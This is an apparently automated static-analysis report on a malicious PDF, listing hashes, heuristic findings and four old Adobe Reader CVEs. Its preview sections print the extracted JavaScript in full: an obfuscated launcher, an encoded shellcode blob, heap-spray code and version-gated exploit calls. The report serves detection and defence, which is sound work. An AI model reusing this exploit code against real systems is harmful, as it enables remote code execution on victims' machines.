Malicious PDF — malware analysis report

Static analysis result for SHA-256 3817afce655529c9…

MALICIOUS

PDF

28.8 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 61af4cbb2d1ccfb03bc7d4d11322ba86 SHA-1: 3ef974fe3c026a7c8539a76d799e6b49739581a2 SHA-256: 3817afce655529c9bde0726c91fd9c6ac79cae38ba3b4f91b7512cf427e7dea3
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The JavaScript is obfuscated using String.fromCharCode, a common technique to evade static analysis. The embedded JavaScript file, 'javascript_obj0001_000.js', is likely intended to perform malicious actions such as downloading a second-stage payload or exploiting vulnerabilities. The presence of obfuscated JavaScript strongly suggests a malicious intent, likely to deliver malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 620 bytes
SHA-256: ae92710eb58e68ed0e1bdd0fc523cb5be302432f8d329971873ce71db109f54c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
narkb='';
var q2 = date.getFullYear()-2007;
dmu='2011s'.replace(date.getFullYear(),'hi');
bao=('.tit2011').replace(date.getFullYear(),'le');
Function('','csu=t'+dmu+bao)();
iaes=('sub2011').replace(date.getFullYear(),'ject');
Function('','nmem=t'+dmu+'.'+iaes)();
var nmem=nmem.replace(date.getFullYear(),'al');
Function('','moa=t'+dmu+'.'+nmem)();
lhkk='.pro2011cer';
lhkk=moa('lhkk.replace(date.getFullYear(),"du")');
Function('','rjdy=t'+dmu+lhkk)();
mhbxe=moa(rjdy);
jsh = moa(csu);
for (i = 0; i < jsh.length; i++) {
	vmzb = jsh[i];
	narkb += mhbxe(vmzb);
}
moa(narkb);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x33B 3630 bytes
SHA-256: 997f847727a8ddcf9d9892da518419d397a3b003f2e1da05c9d5a436029c6cb2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u34b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u4f34%ue2aa%uc3fa%ue5e8%uffff%ua6ff%u4e43%u4f4f%uce11%u13a3%u4f4e%uc64f%uc2a8%u5f00%u20c2%u7e1b%u1894%u1c1e%u1c1c%u1c1c%u1c1c%u1c1a%u271c%u4e4b%u4f4f%u191a%u271c%u2120%u4f4f%u3a27%u233d%u1b22%uc127%u4101%ua7a3%u4f07%u4f4f%ua71f%u4f33%u4f4f%u9fb0%u8bcc%u2747%ua000%u4a00%ua71f%u4f23%u4f4f%u9fb0%u8fca%u583a%u1b25%ubc16%u27e5%ub13d%u59fc%u52a7%u4f4f%u1f4f%u1ea7%u4f4f%ub04f%u1c9f%ub125%uc627%u4e20%ua7f2%u4f47%u4f4f%ua71f%u4f73%u4f4f%u9fb0%u7e2f%u2b8f%u1fc4%uc47f%u431d%u1dc4%uc45b%u673d%u57f6%u4f4f%u7e4f%u7eb0%ue38f%u2e73%u4d33%u6f63%u808e%u4e42%uad88%ucebf%u14b0%u05f3%uc425%u5f0d%u5dc4%u963a%u0bc6%u536b%u8c2e%uc42f%u6b23%uc46b%u730a%u1bc4%u374a%ua54e%u05c4%uc457%u6f15%ua44e%u7bac%uc406%uc47b%ua14e%ub07e%u8f7e%ue3b3%u8fcb%u483b%u808e%u4e42%ua488%u74bb%u6b33%u3a67%uc4ae%u6b15%ua44e%uc429%u0443%u15c4%u4e53%uc4a4%uc44b%ua74e%u0bc6%u536b%u8d2e%u4f47%ua0a7%ub0b1%u27b0%u3b3b%u753f%u6060%u7d22%u227c%u2661%u6021%u612b%u273f%u703f%u7229%u787a%u2a69%u7c72%u004f';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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